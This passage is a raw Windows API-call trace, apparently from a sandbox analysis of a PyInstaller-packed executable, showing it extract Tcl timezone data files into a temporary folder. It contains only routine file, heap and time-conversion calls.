lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.623] CloseHandle (hObject=0x10c) returned 1 [0039.623] GetLastError () returned 0x0 [0039.623] SetLastError (dwErrCode=0x0) [0039.623] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.623] GetFileType (hFile=0x10c) returned 0x1 [0039.623] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.623] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.623] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.623] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.624] CloseHandle (hObject=0x10c) returned 1 [0039.624] GetLastError () returned 0x0 [0039.624] SetLastError (dwErrCode=0x0) [0039.624] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.624] GetFileType (hFile=0x10c) returned 0x1 [0039.624] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.624] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.624] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.624] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.624] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.624] CloseHandle (hObject=0x10c) returned 1 [0039.624] GetLastError () returned 0x0 [0039.624] SetLastError (dwErrCode=0x0) [0039.624] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia") returned 73 [0039.624] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_lucia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.624] GetLastError () returned 0x2 [0039.625] SetLastError (dwErrCode=0x2) [0039.625] GetLastError () returned 0x2 [0039.625] SetLastError (dwErrCode=0x2) [0039.625] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia", lpFilePart=0x0) returned 0x48 [0039.625] GetLastError () returned 0x2 [0039.625] SetLastError (dwErrCode=0x2) [0039.625] GetLastError () returned 0x2 [0039.625] SetLastError (dwErrCode=0x2) [0039.625] GetLastError () returned 0x2 [0039.625] SetLastError (dwErrCode=0x2) [0039.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia") returned 73 [0039.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.625] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Lucia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_lucia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.625] GetFileType (hFile=0x10c) returned 0x1 [0039.625] htonl (hostlong=0xb5000000) returned 0xb5 [0039.625] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.625] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb5, lpOverlapped=0x0) returned 1 [0039.626] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.626] CloseHandle (hObject=0x10c) returned 1 [0039.627] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.627] htonl (hostlong=0x30000000) returned 0x30 [0039.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.627] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.627] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.627] GetFileType (hFile=0x10c) returned 0x1 [0039.627] htonl (hostlong=0xcb515a00) returned 0x5a51cb [0039.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f01cb, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.627] htonl (hostlong=0x8e000000) returned 0x8e [0039.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8e) returned 0x55cfe0 [0039.627] htonl (hostlong=0x8e000000) returned 0x8e [0039.627] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.627] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.628] htonl (hostlong=0x97000000) returned 0x97 [0039.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x97) returned 0x550600 [0039.628] htonl (hostlong=0x8e000000) returned 0x8e [0039.628] htonl (hostlong=0x97000000) returned 0x97 [0039.628] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.628] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.628] CloseHandle (hObject=0x10c) returned 1 [0039.628] GetLastError () returned 0x0 [0039.628] SetLastError (dwErrCode=0x0) [0039.628] GetLastError () returned 0x0 [0039.628] SetLastError (dwErrCode=0x0) [0039.628] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.628] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.628] GetFileType (hFile=0x10c) returned 0x1 [0039.628] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.628] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.628] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.628] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.629] CloseHandle (hObject=0x10c) returned 1 [0039.629] GetLastError () returned 0x0 [0039.629] SetLastError (dwErrCode=0x0) [0039.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.629] GetFileType (hFile=0x10c) returned 0x1 [0039.629] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.629] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.629] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.629] CloseHandle (hObject=0x10c) returned 1 [0039.629] GetLastError () returned 0x0 [0039.629] SetLastError (dwErrCode=0x0) [0039.629] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.629] GetFileType (hFile=0x10c) returned 0x1 [0039.629] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.629] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.630] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.630] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.630] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.630] CloseHandle (hObject=0x10c) returned 1 [0039.630] GetLastError () returned 0x0 [0039.630] SetLastError (dwErrCode=0x0) [0039.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas") returned 74 [0039.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_thomas"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.630] GetLastError () returned 0x2 [0039.630] SetLastError (dwErrCode=0x2) [0039.630] GetLastError () returned 0x2 [0039.630] SetLastError (dwErrCode=0x2) [0039.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas", lpFilePart=0x0) returned 0x49 [0039.630] GetLastError () returned 0x2 [0039.630] SetLastError (dwErrCode=0x2) [0039.630] GetLastError () returned 0x2 [0039.630] SetLastError (dwErrCode=0x2) [0039.630] GetLastError () returned 0x2 [0039.630] SetLastError (dwErrCode=0x2) [0039.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas") returned 74 [0039.630] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Thomas" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_thomas"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.631] GetFileType (hFile=0x10c) returned 0x1 [0039.631] htonl (hostlong=0x97000000) returned 0x97 [0039.631] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.631] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x97, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x97, lpOverlapped=0x0) returned 1 [0039.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.632] CloseHandle (hObject=0x10c) returned 1 [0039.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.632] htonl (hostlong=0x30000000) returned 0x30 [0039.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.633] GetFileType (hFile=0x10c) returned 0x1 [0039.633] htonl (hostlong=0x59525a00) returned 0x5a5259 [0039.633] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f0259, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.633] htonl (hostlong=0x9a000000) returned 0x9a [0039.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x55cfe0 [0039.633] htonl (hostlong=0x9a000000) returned 0x9a [0039.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.633] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.633] htonl (hostlong=0xb7000000) returned 0xb7 [0039.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x550600 [0039.633] htonl (hostlong=0x9a000000) returned 0x9a [0039.633] htonl (hostlong=0xb7000000) returned 0xb7 [0039.633] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.633] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.633] CloseHandle (hObject=0x10c) returned 1 [0039.633] GetLastError () returned 0x0 [0039.633] SetLastError (dwErrCode=0x0) [0039.633] GetLastError () returned 0x0 [0039.633] SetLastError (dwErrCode=0x0) [0039.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.634] GetFileType (hFile=0x10c) returned 0x1 [0039.634] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.634] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.634] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.634] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.634] CloseHandle (hObject=0x10c) returned 1 [0039.634] GetLastError () returned 0x0 [0039.634] SetLastError 